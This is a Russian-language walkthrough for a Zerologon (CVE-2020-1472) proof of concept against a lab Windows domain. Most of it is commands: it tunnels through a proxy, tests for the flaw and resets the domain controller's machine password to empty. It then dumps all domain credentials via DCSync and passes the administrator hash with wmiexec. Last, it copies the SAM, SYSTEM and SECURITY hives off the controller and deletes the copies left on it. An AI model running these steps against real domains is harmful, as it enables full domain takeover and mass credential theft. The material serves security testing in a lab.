CVE-2020-1472 POC

Воспроизведение этой уязвимости в среде Windows домена через прокси proxychains в macOS.

Среда

DC (главный контроллер домена):

Пользователь домена (хост-член домена):

Настройка прямого SOCKS5 прокси через gost.

Атакующая машина (Hacker):

Настройка proxychains4

vim  /Users/xq17/.proxychains/proxychains.conf

Добавить список ProxyList

[ProxyList] socks5 10.211.55.42 8099

Инструменты атаки (Attack Tools):

1.git clone https://github.com/mstxq17/cve-2020-1472.git
2.pip3 install -r requirements.txt

Если при выполнении возникает эта ошибка:

это означает проблему с модулем impacket, попробуйте удалить его и установить последнюю версию из GitHub.

git clone https://github.com/SecureAuthCorp/impacket.git
cd impacket && pip3 install .

Проблема будет решена.

Версия на C#: https://github.com/nccgroup/nccfsas/tree/main/Tools/SharpZeroLogon

Шаги эксплуатации

Сначала попробовать использовать пароль контроллера домена, экспортировать хэш машины домена, чтобы потом сравнить с изменённым.

proxychains4 secretsdump.py test.local/Administrator:'123QWEqwe!@#'@10.211.55.38 -just-dc-user "DC$"

Или убрать кавычки, но в Linux знак $ означает переменную, не забудьте экранировать.

proxychains4 secretsdump.py test.local/Administrator:'123QWEqwe!@#'@10.211.55.38 -just-dc-user DC\$

Используйте zerologon_tester.py, чтобы проверить наличие уязвимости.

python3 zerologon_tester.py DC 10.211.55.38

Если возвращается Success, уязвимость присутствует.
Используйте cve-2020-1472-exploit.py для сброса учётной записи машины.

python3 cve-2020-1472-exploit.py dc$ 10.211.55.38

Снова проверьте, был ли пароль машины изменён на пустой.

С помощью DCSync можно экспортировать все учётные данные пользователей домена, используя учётную запись машины контроллера домена.

Принцип:

Использование протокола DRS (Directory Replication Service) через IDL_DRSGetNCChanges для копирования учётных данных пользователей с контроллера домена.

proxychains4 secretsdump.py test.local/dc\[email protected] -no-pass
Восстановление пароля учётной записи машины DC$ С помощью

proxychains4 secretsdump.py test.local/dc\[email protected] -no-pass -just-dc | grep 'Administrator'

получаем хэш администратора домена.

Затем через wmic, pass the hash, получаем права локального администратора на контроллере домена (администратор домена).
```
wmiexec.py -hashes aad3b435b51404eeaad3b435b51404ee:8adfc85c3490040e942ae1e6c68f645e test.local/[email protected]
```
Затем выполняем команды для копирования баз SAM на машину с macOS:
```
- reg save HKLM\SYSTEM system.save
- reg save HKLM\SAM sam.save
- reg save HKLM\SECURITY security.save
- get system.save
- get sam.save
- get security.save
- del /f system.save
- del /f sam.save
- del /f security.save
```

Вопросы

Одиночная среда домена:

Работает отлично, после перезагрузки контроллера домена аномалий нет, но у машин-членов домена возникают проблемы с DNS, на аутентификацию это не влияет.

После восстановления пароля:

Среда с двумя доменами: главный контроллер домена DC и резервный контроллер домена DC01:

Первоначально получены хэши машин обоих контроллеров домена, они оказались разными.

Попытка атаки на вспомогательный контроллер не повлияла на главный; данные ntdis.dist были синхронизированы.

Попытка атаки на главный контроллер: net time /domain и в одиночной среде также выдаёт ошибку, но после восстановления пароля всё мгновенно возвращается в норму.

Создание новой учётной записи синхронизируется напрямую.